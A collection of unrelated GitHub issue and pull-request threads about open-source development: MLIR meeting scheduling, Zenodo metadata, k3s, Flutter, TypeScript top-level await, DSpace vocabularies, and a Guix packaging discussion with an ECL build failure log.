I created a doodle for the meeting:
https://doodle.com/poll/ggzcewwqxhbuzses
Anyone that wants to participate, feel free to fill it in. Once we decide for the day, we can agree on a common time frame (also depending by the time-zone of the participants).
Let me copy some people from Huawei that are working on this: @Joey-Ye  @Japhonix (our project supervisors) @stevenvar (working on hoisting and packing) @chelini (our MLIR expert)
Let's do this! 🚀
Thanks,
Giuseppe

Thanks for starting this @giuseros
Note that this is Thanksgiving week for our US-based friends, I expect them to be unavailable Wed-Sun, maybe remove those days from the options?
Since we are talking about synchronizing with CA/SEA could you please break down into 3 time regions?

10am-4pm GMT: W coast not expected to participate.
4pm-6pm GMT: maybe we get lucky and get most participants in this slot.
8pm-11pm GMT: I can at those times on Wednesdays and Thursdays.

Thanks!

Hi @nicolasvasilache ,
Thanks for the suggestion,  I just updated the doodle!
Cheers,
Giuseppe

The 4PM - 6PM slot seems most feasible. That is 8 AM - 10 AM on the West coast. 9 AM PDT (or 5PM GMT) seems ideal.

Hi all, I would say that the Monday 29th at 5PM seems the best candidate. Is this ok for everybody?

Yes, 29th at 9AM PST / 5PM GMT / 6PM CEST sounds like the most plausible option, I'll advertise internally.

I added a public meeting option on our side: meet.google.com/ipv-qdyx-yxg

Meeting was fruitful, closing the issue.


Produce a plan & design for the overall tool

#11

Details of Plan

Design will change, however issue closed. Converted to discussion.


Check whether and how the BASE record for Zenodo can be filtered by Zenodo community

e.g. the argument
 <dc:relation>url:https://zenodo.org/communities/invasion-biology-hypotheses</dc:relation>

in https://zenodo.org/record/5565037/export/xd identifies the record as part of
https://zenodo.org/communities/invasion-biology-hypotheses/ ,
while
<relatedIdentifier relatedIdentifierType="URL" relationType="IsPartOf" >https://zenodo.org/communities/cfa</relatedIdentifier>

in https://zenodo.org/oai2d?verb=ListRecords&metadataPrefix=oai_datacite&set=user-cfa
should declare the entry as peing part of https://zenodo.org/communities/cfa .
Pinging @chreman .

Invasion Biology Hypotheses Zenodo Community OAI-PMH endpoint:
(https://zenodo.org/oai2d?verb=ListRecords&set=user-invasion-biology-hypotheses&metadataPrefix=oai_dc


Fix http_proxy service dir in k3s_agent role

Proposed Changes
I've noticed I messed up in the last commit regarding the http_proxy setup.
On nodes/workers/agents it should've put the http_proxy config in the k3s-node.service.d dir, instead it puts it in k3s.service.d.
This fixes that slip-up.
Checklist

[x] Tested locally
[x] Ran site.yml playbook
[x] Ran reset.yml playbook
[x] Did not add any unnecessary changes
[x] Ran pre-commit install at least once before committing
[ ] 🚀

This will fix #397, I closed the PR that I submitted yesterday for this issue. Thanks for fixing it @balazshasprai


fix for ie and edge

fixes https://github.com/react-tools/react-charts/issues/28
with polyfills for promise and similar, you it works on IE11, altough the charts are missing stuff like gridlines

💯! 🙏

:tada: This PR is included in version 0.0.10 :tada:
The release is available on:

npm package (@next dist-tag)
GitHub release

Your semantic-release bot :package::rocket:


Flutter driver guide may need update

The Flutter driver guide provides instructions for executing a Flutter driver test suite from the command line. However, those instructions seem incompatible with the latest versions of Flutter, which list Chrome and Mac OS deployment targets.
Guide:
https://flutter.dev/docs/cookbook/testing/integration/introduction
When running the exact command at the bottom of that guide without an emulator, simulator, or device available, the following error is reported:
$ flutter drive --target=test_driver/app.dart
Found multiple connected devices:
  - macOS
  - Chrome

Using device macOS.
Starting application: test_driver/app.dart
Unable to find app name.
[project_path_redacted]/macos/Flutter/ephemeral/.app_filename does
not exist

Oops; flutter has exited unexpectedly.
Sending crash report to Google.

Either the instructions should be changed to include a device specification, or a more appropriate error message should be written, or Flutter should re-evaluate how it executes this command.

CC @sfshaza2 @stuartmorgan @jonahwilliams

We should be weeding out unsupported devices from the list, as with run; commands should never auto-select a device that the project doesn't support. So this is an implementation bug rather than a documentation bug.

with the latest versions of Flutter, which list Chrome and Mac OS deployment targets.

Only on master, FWIW.

or a more appropriate error message should be written

That should be done regardless, and is already tracked as #35271

Sounds good. I'll leave this ticket open to ensure that this specific use-case gets resolved, but hopefully we can simply close this once #35271 is handled. Thanks.

hopefully we can simply close this once #35271 is handled

Regardless of the error message for trying to build with an unsupported platform, we should use this bug to track making sure that drive isn't auto-selecting devices that the project doesn't support.


README doesn't show the added value of the framework

README doesn't show the added value of the framework
Main features section

Different target environments are not highlighted enough
Support for both JVM and Native mode should be highlighted tess
Test services are not mentioned

Getting Started section

ATM showing just what Quarkus can handle on it's own
Nothing from added features - e.g. native out of the box, OpenShift, Kubernetes

https://github.com/quarkus-qe/quarkus-test-framework/blob/main/examples/blocking-reactive-model/src/test/java/io/quarkus/qe/KubernetesGreetingResourceIT.java
https://github.com/quarkus-qe/quarkus-test-framework/blob/main/examples/blocking-reactive-model/src/test/java/io/quarkus/qe/OpenShiftGreetingResourceIT.java

No mention of examples directory
Consider to link tests from https://github.com/quarkus-qe/quarkus-test-framework/tree/main/examples/greetings/src/test/java/io/quarkus/qe as a nice starting point to see many options this framework provides

As of May of 2023, all the information is contained in the wiki:
Main features section

Different target environments has a separate table with support of feature: (https://github.com/quarkus-qe/quarkus-test-framework/wiki)

Support for both JVM and Native mode is highlighted in the same table

Test services has their own section(https://github.com/quarkus-qe/quarkus-test-framework/wiki/4.-Services)

Getting Started section

Shows additional features (eg https://github.com/quarkus-qe/quarkus-test-framework/wiki/1.-Getting-Started#buildruntime-properties)

Shows added features - e.g. native out of the box, OpenShift, Kubernetes (https://github.com/quarkus-qe/quarkus-test-framework/wiki/1.-Getting-Started#openshift-jvm-native-dev-mode-and-more)
Mentions examples directory (https://github.com/quarkus-qe/quarkus-test-framework/wiki/1.-Getting-Started#multiple-quarkus-applications) and links tests from there (https://github.com/quarkus-qe/quarkus-test-framework/wiki/1.-Getting-Started#openshift-jvm-native-dev-mode-and-more)

@rsvoboda is there anything you would like to add?

Let's conclude this then.


switch to io.airlift:aircompressor

@vekterli please look over the java code changes
@gjoranv see if the changes to dependency management looks OK
@bjorncs @baldersheim FYI

In com.yahoo.compress.Compressor there is a field
private final ZstdCompressor zstdCompressor = new ZstdCompressor();

and Compressor has the class comment

Compressor which can compress and decompress in various formats.
This class is thread safe. Creating a reusable instance is faster than creating instances as needed.

😬
Looks like a broader sweep of API usages might be required. Alternatively, we can create ZstdCompressor and ZstdDecompressor instances on-demand in the individual compress/decompress methods to avoid any chance of cross-thread usage.


Support nil field in Ecto.Changeset.optimistic lock

I would like to propose a fix for #2277.
As described in the issue, if Changeset.filters has a nil updated_at field, the SQL query generated is "updated_at" = $1 while the desired output would be "updated_at" IS NULL.
I suppose this change WILL break other external adapters, since it changes the input of Ecto.Adapters.SQL.update/5, so I'm not sure this is the desired way to fix. I'm open for any suggestion.

The fix is perfect @qcam! I have just added some questions regarding the tests.

Great thanks for the comments, I will make the same change to DELETE too.

:heart: :green_heart: :blue_heart: :yellow_heart: :purple_heart:


Add the keyboard layout switcher to the panel.

Thanks a lot Dave!
Can you upload this image and make your latest.ova points to this recent version?


Controlled Vocabulary: Provide ability to store the id of a controlled vocabulary node and offer localized labels using cv.xml files per locale

References
Add references/links to any related issues or PRs. These may include:

Fixes #9317

Description
This PR fixes #9317. With this PR it is possible to use localized controlled vocabularies by having a controlled vocabulary file per locale (and fallback to english in case the current locale was not supported) Additionally, this PR provides the feature to store the id of a controlled vocabulary node instead of the label (configurable per controlled vocabulary)
Instructions for Reviewers
List of changes in this PR:

First, with this PR it is possible to use localized controlled vocabularies by having a controlled vocabulary file per locale (and fallback to english in case the current locale was not supported)
In order to support the localized controlled vocabularies, the init method of the class org.dspace.content.authority.DSpaceControlledVocabulary was enhanced to receive the current locale. (The public methods of that class already received the locale, so we simply pass the value to init) Inside the init method, a logic similar to DSpace6 was implemented. The method checks for existance of a file named <CONTROLLED_VOCABULARY>_<LOCALE>.xml - where <CONTROLLED_VOCABULARY> is the name of the controlled vocabulary and <LOCALE> is the current locale. If that file exists, it is used to contruct the controlled vocabulary. Otherwise, a fallback to the "standard" controlled vocabulary file <CONTROLLED_VOCABULARY>.xml is made.

Second, In order to support the optional storage of id instead of label value, a new configuration option per controlled vocabulary was introduced: vocabulary.plugin.<CONTROLLED_VOCABULARY>.storeIDs - where <CONTROLLED_VOCABULARY> is the name of the controlled vocabulary. The class org.dspace.content.authority.DSpaceControlledVocabulary was enhanced to consider the new configuration option and use id attribute instead of label attribute when constructing the choice based on the xml node.

Include guidance for how to test or review your PR. This may include: steps to reproduce a bug, screenshots or description of a new feature, or reasons behind specific changes.
The DSpaceControlledVocabularyTest test class was updated with test methods covering the PR changes. This, together with the change description above covers the configurations required to use the PR changes.
Checklist
This checklist provides a reminder of what we are going to look for when reviewing your PR. You need not complete this checklist prior to creating your PR (draft PRs are always welcome). If you are unsure about an item in the checklist, don't hesitate to ask. We're here to help!

[x] My PR is small in size (e.g. less than 1,000 lines of code, not including comments & integration tests). Exceptions may be made if previously agreed upon.
[x] My PR passes Checkstyle validation based on the Code Style Guide.
[x] My PR includes Javadoc for all new (or modified) public methods and classes. It also includes Javadoc for large or complex private methods.
[x] My PR passes all tests and includes new/updated Unit or Integration Tests based on the Code Testing Guide.
[x] If my PR includes new libraries/dependencies (in any pom.xml), I've made sure their licenses align with the DSpace BSD License based on the Licensing of Contributions documentation.
[x] If my PR modifies REST API endpoints, I've opened a separate REST Contract PR related to this change.
[x] If my PR includes new configurations, I've provided basic technical documentation in the PR itself.
[x] If my PR fixes an issue ticket, I've linked them together.

just merged latest main into feature branch and corrected errors due to new changes in DSpaceControlledVocabulary.java which required adjustments to be compatible to changes introduced in this feature branch

Thanks @mahnkong for sharing! We added this PR in our system, it works! Only ID stored in the metadata, this record has no authority, but I can use discovery it by value but with tree view as well.


Add<EMAIL_ADDRESS>

https://www.collectedcurios.com/sequentialart.php
For all other comics at https://www.collectedcurios.com/ no new strips were released since 2020.
I.e., besides SequentialArt only occasionally a new Curious Transmission is released there.
ToDo: Analyse web-page, evaluate a extraction statement and ultimately pose a PR adding SequentialArt to DailyComics.
References:

Guidelines for adding a new comic
Posing a pull-request (PR)

Done by sailfishos-applications/daily-comics PR #111.


Top Level Await

Search Terms
top level await
Suggestion
The ability to utilise await directly at the top level of a module or a script.  Currently the compiler does not support this, though it is becoming increasing possible to accomplish it in certain runtimes.
Top level await is currently a Stage 2 TC39 proposal. (I was unable to find any tracking issue for implementation, therefore this issue)
There was this issue #20923, which was marked as a question, but really was this feature request.
Use Cases
There are many patterns the are emerging that require top level await, many which are documented in the TC39 Proposal.  The current workaround that is seen a lot in the wild is wrapping an async iife.  There are lots instances where the main thread of program wants to utilise await to load resources.
The value of having top level await in Node.js REPL and Chrome debugger is now allowed.  There is an outstanding issue to allow it in ts-node.
I know the core team is really really adverse to implementing things that haven't reached Stage 3, but there are sufficient patterns in the wild that allow this and an increasing number for situations where it can be allowed, that allowing it under a flag feels like something that might be entertained until it is delivered under Stage 4.  If we in user-land choose the potential 👣 🔫 at our own risk, so be it.
Examples
The following:
async function main() {
  const dynamic = await import('./dynamic-thing.mjs');
  const data = await fetch(dynamic.url);
  console.log(data);
}
main();

Could be rewritten as:
const dynamic = await import('./dynamic-thing');
const data = await fetch(dynamic.url);
console.log(data);

Checklist
Technically, this would allow syntax which would change the runtime behaviour of JavaScript and allows new expression level syntax which is currently not permitted (but specifically reserved by TC39 for this purpose).
My suggestion meets these guidelines:

[X] This wouldn't be a breaking change in existing TypeScript / JavaScript code
[ ] This wouldn't change the runtime behavior of existing JavaScript code
[X] This could be implemented without emitting different JS based on the types of the expressions
[ ] This isn't a runtime feature (e.g. new expression-level syntax)

@kitsonk I don't think we can safely implement TLA until at least the variant is decided upon - otherwise how exports work in modules with TLA is liable to change (and thereby typechecking). I get that it's great in a REPL context - but at the top level of a module with exports it is much less straightforward!

I understand that it is likely more complicated than just allowing it, because variant A or variant B would have significant impacts on CFA.  From a usefulness perspective, the proposed optional constraint of only allowing it in modules without exports would be sufficient for my selfish needs.  While there still might be an impact on CFA, the static analysis could/would work as it does now for not top level awaiting and it would be guaranteed to know what the shape of the exports (because it has none).  I suspect that restriction would work for most other real world use cases at the moment (and if it didn't there would be good justification of why TypeScript can't know).
@weswigham is it worth at least having a tracking issue at this stage of the proposal?

Has there been an movement on this issue? @RyanCavanaugh, I see you added the "Waiting for TC39" label. What are you waiting on? The advancement to stage 3? The compromise listed above by @kitsonk seems like a good one that would solve the vast majority of use-cases without an impact on type checking semantics.

We're waiting on stage 3 or 4 since there are possible runtime semantics implications.
"This so reasonable that surely TC39 won't come up with some other behavior" has bitten us enough that we're not really willing to risk it when it comes to runtime behavior.

The proposal has gone Stage 3.

@RyanCavanaugh Any plans for implementation?

We can probably put the parsing and typechecking behavior into the backlog at some point, but be aware that ultimately the way TLA executes comes down to the module loader. Webpack can enable it pretty easily by modifying the bundled module loader (although probably not quite to spec, since implementation to spec requires inspecting promise internals to skip event loop turns), but in the context of the cjs loader or pre-TLA esm loader (as we usually consider we emit for), there's really no way to downlevel TLA (although I think amd modules might just support it out of the box, which could be nice). It's just not downlevelable without whole program rewriting, and even then exactly implementing the spec is almost impossible (technically not completely impossible with the inclusion of a native node module to synchronously unwrap a resolved promise) because of the event loop turn behaviors.
We can probably at least tag this as Needs Proposal - minimally we could probably support it when targeting esnext with no downlevel, like import.meta.

Allowing it through, with no downlevel emit would be perfect for my use case.  Treating it like import.meta makes sense.  It needs to be adopted somehow.

I agree with @kitsonk - there are use-cases today that would benefit from parsing and type-checking without any downlevel with esnext target.

webpack 5 supports TLA behind a flag
Acorn has support.
V8 implementation is in progress
We have a module loader that could use this today ;-)

Seems nearly be done... Is there any progress branch on this one?

Is this in typescript@next (dev20191004)?
It seems like TLA works when I have "target": "esnext" (emits await at top level). It does not work when I have "target": "es5" even though I have "module": "esnext". Is this going to emit TLA downlevel? If it's not, it isn't going to be very useful with webpack 5. Unless I'm missing something.

@RyanCavanaugh @DanielRosenwasser this mentioned Milestone 3.7.  Is this actually available to use in the latest TS builds?  If so, is there something i need to do to enable this?  Thanks!

I spoke to Daniel at TSConf. He said it wasn't going to make 3.7 and he needed to update the IP.

Related: accounting for top-level for-await https://github.com/tc39/proposal-top-level-await/pull/133

https://gist.github.com/Rich-Harris/0b6f317657f5167663b493c722647221

@stevefan1999-personal

Therefore, a version of TLA that solves the original issue is a valuable addition to the language, and I'm in full support of the current proposal, which you can read here.


spec v0.9.1 updates

What is wrong?
https://github.com/ethereum/eth2.0-specs/releases/tag/v0.9.1
How can it be fixed
Mainly removing custody data from phase 0.
Some fork choice updates.
Also some validator updates but I don't think we have that code yet

I'm starting removing custody data from phase 0.

i'll start on the fork choice updates


Release?

Hi, any plans for a release now that tests are added?
I'm packaging all your libraries for GNU/Guix ;()
https://guix.gnu.org/

I'm packaging all your libraries for GNU/Guix ;()

WOW!!! Thank you!! Honestly, I think this is the most attention my libraries have ever gotten so far... 😅

any plans for a release now that tests are added?

Honestly I wasn't really planning to continue development of my libraries until 2024,
since I'm planning to release my most important project ever in 2023.
That said, in this case, turning this library green is super low-hanging fruit, so I guess I might as well release a new version soon!
I'll keep you posted.

Cool, keep me posted.
Here's the patches I sent:
https://issues.guix.gnu.org/57654

Alright!
Sorry about the delay, I needed to make a trivial update to all my 35 ready-to-use libraries and thus took the opportunity to make absolutely extensive improvements to my GNU screen config, notably allowing me to instantly open dozens of terminals to any predefined subset of my 96 git repos (such as all my libraries or all my websites, or all 96 repos), and easily broadcast commands to all open terminals. This is simply life-changing!
Now, I am planning to probably make trivial updates and releases for the following libraries (as in, picking the super low-hanging fruit) in 2022, all at once:

enhanced-eval-when
enhanced-multiple-value-bind
macro-level
its
parse-number-range
bubble-operator-upwards

After that, I'll probably do the major update and release for cartesian-product-switch.
After that, probably no more library updates before 2024.
I hope this is to your satisfaction!

That sounds awesome! Let me know and I'll update all the libs. I might need the GNU screen config also :)
Why GNU screen and not tmux? You just have more familiarity with screen?

That sounds awesome! Let me know and I'll update all the libs.

Thank you!! That's very motivating!

I might need the GNU screen config also :)

It's here!
I'll update my usage notes later.

Why GNU screen and not tmux? You just have more familiarity with screen?

GNU screen is the traditional choice and what I started with, and there doesn't seem to be enough incentive to switch to tmux, especially since I don't use the layout features. And until recently, my usage of screen was very basic. Now it's quite a bit more advanced than it used to be, but I haven't yet run into significant limitations I couldn't work around.
Ideally, I'd rather use a screen replacement written in Common Lisp...

Ideally, I'd rather use a screen replacement written in Common Lisp...

That sounds like a nice croatoan project.

Perhaps, but I have a lot of much higher priorities on my roadmap. ;)

Yes, I'm looking forward to package those for GNU Guix ;()

@Hexstream Is the "public domain spiritual successor to CLHS" open to public contribution? That sounds like a project that would benefit from crowd sourced knowledge and writing contributions.
For example, I started contributing to the common lisp cookbook here: https://github.com/LispCookbook/cl-cookbook/pull/458
That FFI knowledge came after I had a session with phoe. I'm looking to finish that PR soon.

@Hexstream Is the "public domain spiritual successor to CLHS" open to public contribution? That sounds like a project that would benefit from crowd sourced knowledge and writing contributions.
For example, I started contributing to the common lisp cookbook here: LispCookbook/cl-cookbook#458

Yes, once the initial version is published, just like for all my other projects.
In fact, an option for extensive linking to the Cookbook would be highly desirable as an optional feature.
(I don't think that content would be integrated directly in my version since I want to keep everything public domain.)
I am planning to be VERY conservative about the default presentation of my CLHS replacement, it will just be a better version of the CLHS, period. After the initial release, I will likely add easy options to load additional helpful modules on request, of which extensive linking to the Cookbook would be one.

That FFI knowledge came after I had a session with phoe. I'm looking to finish that PR soon.

Uh-huh. I am no fan of Scambird.
He appears to have somehow reached the exact opposite conclusion,
but I certainly don't care to try to make of sense of it.
(I no longer track his scams as of 25 may 2021.)

He appears to have somehow reached the exact opposite conclusion,

Sorry to hear about that situation. I read your post. I hope things will work themselves out for the better. It's such a small community and we need all the teamwork we can afford to make Lisp live on. As Alexander poetically describes it: 40 hard working ants.

I am planning to be VERY conservative about the default presentation of [my CLHS replacement]

Is there a repo for the CLHS replacement yet.?
I'll keep you posted on the what I send to GNU Guix. I just sent this patch for bubble-operator-upwards which will probably get merged soon:
https://issues.guix.gnu.org/57917

Sorry to hear about that situation. I read your post. I hope things will work themselves out for the better in the future. It's such a small community and we need all the teamwork we can afford to make Lisp live on. As Alexander poetically describes it: 40 hard working ants. I'm very new to the Common Lisp community.

Awesome! Welcome!!
I do expect that situation to naturally resolve itself over the years, actually...

Is there a repo for the CLHS replacement yet?

No, these days I usually like to keep my repos private initially, and then rebase the entire history into one "initial commit" immediately before the first public release.

I'll keep you posted on the what I send to GNU Guix. I just sent this patch for bubble-operator-upwards which will probably get merged soon:
https://issues.guix.gnu.org/57917

Thank you, although I have no current plans to review that information, I'll just leave this in your capable hands! ;)

Sorry, unfortunately there have been some unexpected delays, and this is ongoing.
I will update my libraries in 2024, as I had originally planned.
(It's also much better for efficiency and momentum to do this all in one shot rather than split it into two phases...)
I apologize for any inconvenience.

@Hexstream Is the "public domain spiritual successor to CLHS" open to public contribution? That sounds like a project that would benefit from crowd sourced knowledge and writing contributions.
For example, I started contributing to the common lisp cookbook here: LispCookbook/cl-cookbook#458

Yes, once the initial version is published, just like for all my other projects.
In fact, an option for extensive linking to the Cookbook would be highly desirable as an optional feature. (I don't think that content would be integrated directly in my version since I want to keep everything public domain.)
I am planning to be VERY conservative about the default presentation of my CLHS replacement, it will just be a better version of the CLHS, period. After the initial release, I will likely add easy options to load additional helpful modules on request, of which extensive linking to the Cookbook would be one.

That FFI knowledge came after I had a session with phoe. I'm looking to finish that PR soon.

Uh-huh. I am no fan of Scambird. He appears to have somehow reached the exact opposite conclusion, but I certainly don't care to try to make of sense of it.
(I no longer track his scams as of 25 may 2021.)

WDYT of releasing your CLHS as open source so I and others can help with developing it along with you?

I will do that, once the initial version is done.
I won't do that before for a few different reasons, such as:

I want all the glory for myself.
I want to avoid any risk of my contribution being misrepresented as much smaller than it actually is.
I simply DO NOT want to wait on I/O, which would mostly kill my productivity.
I simply DO NOT want to manage people, which would mostly kill my productivity.
Adding people to the project would probably just add overhead and slow me down.
I want to do this project 100% like I want, without needing to consult or get "buy-in" from anyone.
I will do this project mostly manually, which most people probably couldn't bear at all.
I want to be able to make drastic changes without invalidating anyone else's work.
I want to avoid the risk of someone forking the project and finishing it before I'm done.
I have EXTENSIVE experience working this way, and using a completely different process on my most important project ever doesn't seem wise at all.
I don't want (almost certainly premature and/or useless) criticism on my WIP while I'm working on the initial version.
It's not even clear that anyone would want to help me with this project, and if they did, that their contribution would actually help me significantly (even before considering the drawbacks and overheads of their contributions), which could furthermore be used to falsely represent my project as not that interesting or useful after all.
Probably a bunch of other good reasons, but I think this is enough for now.

I hope this is to your satisfaction. ;P

I upgraded to tmux!

Done! Thank you for the prompt.

Looks like this version breaks the ecl build:
warning: collision encountered:
  /gnu/store/na1dpbbcxjaa3n8wkwrfpch476f90hlf-ld-wrapper-0/bin/ld
  /gnu/store/zh4x65snfis7svs6906gj1z8i7dx2j3m-binutils-2.38/bin/ld
warning: choosing /gnu/store/na1dpbbcxjaa3n8wkwrfpch476f90hlf-ld-wrapper-0/bin/ld
phase `configure' succeeded after 0.3 seconds
starting phase `patch-generated-file-shebangs'
phase `patch-generated-file-shebangs' succeeded after 0.1 seconds
starting phase `build'
Invoking ecl: "/gnu/store/gbahff6l8b6413vx52klkljr7ypmpz6c-ecl-23.9.9/bin/ecl" "--eval" "(require :asdf)" "--eval" "(asdf:initialize-source-registry (list :source-registry (list :tree (uiop:ensure-pathname \"/gnu/store/bbxlz5ivjv5y95w5qpc2rhgl616r1slj-ecl-canonicalized-initargs-2.0/share/common-lisp/ecl/canonicalized-initargs\" :truenamize t :ensure-directory t)) :inherit-configuration))" "--eval" "(asdf:load-system \"canonicalized-initargs\")" "--eval" "(quit)"
;;; Loading #P"/gnu/store/gbahff6l8b6413vx52klkljr7ypmpz6c-ecl-23.9.9/lib/ecl-23.9.9/asdf.fas"
;;; Warning: System definition file #P"/gnu/store/mbfg2h3x2k9agiybwzj882al4xcz9mhy-ecl-trivial-garbage-0.21/share/common-lisp/ecl/trivial-garbage/trivial-garbage.asd" contains definition for system "trivial-garbage-tests". Please only define "trivial-garbage" and secondary systems with a name starting with "trivial-garbage/" (e.g. "trivial-garbage/test") in that file.
;;; Warning: Class CLASS has been forward referenced.
;;;
;;; Compiling /gnu/store/bbxlz5ivjv5y95w5qpc2rhgl616r1slj-ecl-canonicalized-initargs-2.0/share/common-lisp/ecl/canonicalized-initargs/package.lisp.
;;; OPTIMIZE levels: Safety=2, Space=0, Speed=3, Debug=0
;;;
;;; Finished compiling /gnu/store/bbxlz5ivjv5y95w5qpc2rhgl616r1slj-ecl-canonicalized-initargs-2.0/share/common-lisp/ecl/canonicalized-initargs/package.lisp.
;;;
;;;
;;; Compiling /gnu/store/bbxlz5ivjv5y95w5qpc2rhgl616r1slj-ecl-canonicalized-initargs-2.0/share/common-lisp/ecl/canonicalized-initargs/shared.lisp.
;;; OPTIMIZE levels: Safety=2, Space=0, Speed=3, Debug=0
;;;
;;; Finished compiling /gnu/store/bbxlz5ivjv5y95w5qpc2rhgl616r1slj-ecl-canonicalized-initargs-2.0/share/common-lisp/ecl/canonicalized-initargs/shared.lisp.
;;;
;;;
;;; Compiling /gnu/store/bbxlz5ivjv5y95w5qpc2rhgl616r1slj-ecl-canonicalized-initargs-2.0/share/common-lisp/ecl/canonicalized-initargs/canonicalization-strategy.lisp.
;;; OPTIMIZE levels: Safety=2, Space=0, Speed=3, Debug=0
;;;
;;; Finished compiling /gnu/store/bbxlz5ivjv5y95w5qpc2rhgl616r1slj-ecl-canonicalized-initargs-2.0/share/common-lisp/ecl/canonicalized-initargs/canonicalization-strategy.lisp.
;;;
;;;
;;; Compiling /gnu/store/bbxlz5ivjv5y95w5qpc2rhgl616r1slj-ecl-canonicalized-initargs-2.0/share/common-lisp/ecl/canonicalized-initargs/canonicalization-class.lisp.
;;; OPTIMIZE levels: Safety=2, Space=0, Speed=3, Debug=0
;;;
;;; Finished compiling /gnu/store/bbxlz5ivjv5y95w5qpc2rhgl616r1slj-ecl-canonicalized-initargs-2.0/share/common-lisp/ecl/canonicalized-initargs/canonicalization-class.lisp.
;;;
;;;
;;; Compiling /gnu/store/bbxlz5ivjv5y95w5qpc2rhgl616r1slj-ecl-canonicalized-initargs-2.0/share/common-lisp/ecl/canonicalized-initargs/slot-initargs.lisp.
;;; OPTIMIZE levels: Safety=2, Space=0, Speed=3, Debug=0
;;;
;;; Finished compiling /gnu/store/bbxlz5ivjv5y95w5qpc2rhgl616r1slj-ecl-canonicalized-initargs-2.0/share/common-lisp/ecl/canonicalized-initargs/slot-initargs.lisp.
;;;
;;;
;;; Compiling /gnu/store/bbxlz5ivjv5y95w5qpc2rhgl616r1slj-ecl-canonicalized-initargs-2.0/share/common-lisp/ecl/canonicalized-initargs/class-initargs.lisp.
;;; OPTIMIZE levels: Safety=2, Space=0, Speed=3, Debug=0
;;;
;;; Finished compiling /gnu/store/bbxlz5ivjv5y95w5qpc2rhgl616r1slj-ecl-canonicalized-initargs-2.0/share/common-lisp/ecl/canonicalized-initargs/class-initargs.lisp.
;;;
;;;
;;; Compiling /gnu/store/bbxlz5ivjv5y95w5qpc2rhgl616r1slj-ecl-canonicalized-initargs-2.0/share/common-lisp/ecl/canonicalized-initargs/standard.lisp.
;;; OPTIMIZE levels: Safety=2, Space=0, Speed=3, Debug=0
;;;
;;; Finished compiling /gnu/store/bbxlz5ivjv5y95w5qpc2rhgl616r1slj-ecl-canonicalized-initargs-2.0/share/common-lisp/ecl/canonicalized-initargs/standard.lisp.
;;;
phase `build' succeeded after 5.3 seconds
starting phase `check'
Invoking ecl: "/gnu/store/gbahff6l8b6413vx52klkljr7ypmpz6c-ecl-23.9.9/bin/ecl" "--eval" "(require :asdf)" "--eval" "(asdf:initialize-source-registry (list :source-registry (list :tree (uiop:ensure-pathname \"/gnu/store/bbxlz5ivjv5y95w5qpc2rhgl616r1slj-ecl-canonicalized-initargs-2.0/share/common-lisp/ecl/canonicalized-initargs\" :truenamize t :ensure-directory t)) :inherit-configuration))" "--eval" "(asdf:test-system \"canonicalized-initargs\")" "--eval" "(quit)"
;;; Loading #P"/gnu/store/gbahff6l8b6413vx52klkljr7ypmpz6c-ecl-23.9.9/lib/ecl-23.9.9/asdf.fas"
;;; Warning: System definition file #P"/gnu/store/mbfg2h3x2k9agiybwzj882al4xcz9mhy-ecl-trivial-garbage-0.21/share/common-lisp/ecl/trivial-garbage/trivial-garbage.asd" contains definition for system "trivial-garbage-tests". Please only define "trivial-garbage" and secondary systems with a name starting with "trivial-garbage/" (e.g. "trivial-garbage/test") in that file.
;;; Warning: Class CLASS has been forward referenced.
;;;
;;; Compiling /gnu/store/bbxlz5ivjv5y95w5qpc2rhgl616r1slj-ecl-canonicalized-initargs-2.0/share/common-lisp/ecl/canonicalized-initargs/tests/tests.lisp.
;;; OPTIMIZE levels: Safety=2, Space=0, Speed=3, Debug=0
;;;
;;; Error:
;;;   in file tests.lisp, position 507
;;;   at (DEFCLASS CANON-BOOLEAN ...)
;;;   * The macro form (DEFCLASS CANON-BOOLEAN NIL ((%BOOLEAN :INITARG :BOOLEAN :READER %BOOLEAN :CANONICALIZE (FUNCTION BOOLEAN)))) was not expanded successfully.
;;; Error detected:
;;; In function CAR, the value of the first argument is
An error occurred during initialization:
#<a FLOATING-POINT-INVALID-OPERATION 0x7ffff4b624c0>.
error: in phase 'check': uncaught exception:
%exception #<&invoke-error program: "/gnu/store/gbahff6l8b6413vx52klkljr7ypmpz6c-ecl-23.9.9/bin/ecl" arguments: ("--eval" "(require :asdf)" "--eval" "(asdf:initialize-source-registry (list :source-registry (list :tree (uiop:ensure-pathname \"/gnu/store/bbxlz5ivjv5y95w5qpc2rhgl616r1slj-ecl-canonicalized-initargs-2.0/share/common-lisp/ecl/canonicalized-initargs\" :truenamize t :ensure-directory t)) :inherit-configuration))" "--eval" "(asdf:test-system \"canonicalized-initargs\")" "--eval" "(quit)") exit-status: 1 term-signal: #f stop-signal: #f>
phase `check' failed after 1.1 seconds
command "/gnu/store/gbahff6l8b6413vx52klkljr7ypmpz6c-ecl-23.9.9/bin/ecl" "--eval" "(require :asdf)" "--eval" "(asdf:initialize-source-registry (list :source-registry (list :tree (uiop:ensure-pathname \"/gnu/store/bbxlz5ivjv5y95w5qpc2rhgl616r1slj-ecl-canonicalized-initargs-2.0/share/common-lisp/ecl/canonicalized-initargs\" :truenamize t :ensure-directory t)) :inherit-configuration))" "--eval" "(asdf:test-system \"canonicalized-initargs\")" "--eval" "(quit)" failed with status 1
builder for `/gnu/store/k6jbdxn4k4b7k92y0zjfv08knvgxclk0-ecl-canonicalized-initargs-2.0.drv' failed with exit code 1
build of /gnu/store/k6jbdxn4k4b7k92y0zjfv08knvgxclk0-ecl-canonicalized-initargs-2.0.drv failed
View build log at '/var/log/guix/drvs/k6/jbdxn4k4b7k92y0zjfv08knvgxclk0-ecl-canonicalized-initargs-2.0.drv.gz'.
cannot build derivation `/gnu/store/24sw54vr2y8lr5svqxi5szavnqvrfdmk-ecl-definitions-systems-2.0.1.drv': 1 dependencies couldn't be built
guix build: error: build of `/gnu/store/24sw54vr2y8lr5svqxi5szavnqvrfdmk-ecl-definitions-systems-2.0.1.drv' failed


It doesn't react to liberators

In any way
Suggestion:
Identify the freedom circle and move away drones, make spores be built when one is spotted, uproot spores so it repositions to target that. It will probably hard

Fixed by #149, but still needs to be extended to drones also needs to get improved


Fix: switch locale bug

📚 Description
What

I fixed the bug which affects the switch locale component after some switch between languages.
Why

It was not possible to switch language more than some times, until now. With the pr it will be possible to switch infinitelty.
🧪 Testing Guide

Test the website in prod then test the pr. You will be able to see the difference.
🖼 Screenshots/Recordings

📝 To Do

Sorry, it was my fault: I added options to router.replace without read the nextjs documentation.
Try it now

Thanks for suggestions @coluzziandrea, I'm not so good with testing actually. Anyway it should work now and I fixed also the problem with locale switching in the event page.

